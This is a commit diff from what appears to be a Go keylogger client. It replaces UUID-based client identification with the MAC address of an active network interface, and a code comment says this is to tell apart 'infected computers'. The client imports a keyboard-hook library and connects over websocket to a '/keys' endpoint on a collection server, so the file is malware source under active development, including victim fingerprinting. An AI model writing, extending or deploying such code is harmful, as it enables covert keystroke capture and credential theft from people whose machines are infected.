🔨 Refactors id generation/retrieval algorithm

The client id is now either generated from the device MAC address (from a device that starts with w or e and is up and isn't loopback) or randomly generated

client/main.go

@@ -1,16 +1,16 @@
 package main
 
 import (
+	"bytes"
+	"encoding/hex"
 	"fmt"
-	"io"
+	"math/rand"
+	"net"
 	"net/url"
 	"os"
-	"path/filepath"
-	"runtime"
 	"strings"
 	"time"
 
-	"github.com/google/uuid"
 	"github.com/gorilla/websocket"
 	hook "github.com/robotn/gohook"
 )
@@ -33,41 +33,27 @@ func log(msg string, formats ...any) {
 	}
 }
 
-// load id from same directory as executable from "keys.txt"
-func getId() uuid.UUID {
-	var id = uuid.New()
-	if runtime.GOOS != "windows" {
-		return id
-
-	}
-	ex, err := os.Executable()
+// get mac address so we can differentiate between separate infected computers/clients
+func getId() []byte {
+	interfaces, err := net.Interfaces()
 	if err != nil {
-		return id
-	}
-
-	file := filepath.Join(filepath.Dir(ex), "keys.txt")
-	stream, err := os.Open(file)
-	defer func() { _ = stream.Close() }()
-	if err != nil {
-		return id
-	}
-
-	data, err := io.ReadAll(stream)
-	if err != nil {
-		return id
-	}
-
-	loaded, err := uuid.Parse(string(data))
-	if err != nil {
-		return id
+		panic(err)
 	} else {
-		return loaded
+		for _, i := range interfaces {
+			if (strings.HasPrefix(strings.ToLower(i.Name), "e") || strings.HasPrefix(strings.ToLower(i.Name), "w")) && i.Flags&net.FlagUp != 0 && i.Flags&net.FlagLoopback == 0 && !bytes.Equal(i.HardwareAddr, nil) {
+				return i.HardwareAddr
+			}
+		}
 	}
+
+	id := make([]byte, 6)
+	rand.Read(id)
+	return id
 }
 
 func main() {
 	id := getId()
-	var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: fmt.Sprintf("/keys?id=%s", id)}
+	var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: "/keys", RawQuery: fmt.Sprintf("id=%s", hex.EncodeToString(id))}
 	debugRaw := strings.ToLower(os.Getenv("DEBUG"))
 	debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes"
 
@@ -78,14 +64,14 @@ func main() {
 		log("attempting to dial: %s\n", resource.String())
 		conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
 		if err != nil {
-			log("dialing failed")
+			log("dialing failed\n")
 			tries += 1
 			if tries >= 3 {
 				return
 			}
 			time.Sleep(time.Second)
 		} else {
-			log("dialnig succesful")
+			log("dialing succesful\n")
 			break
 		}
 	}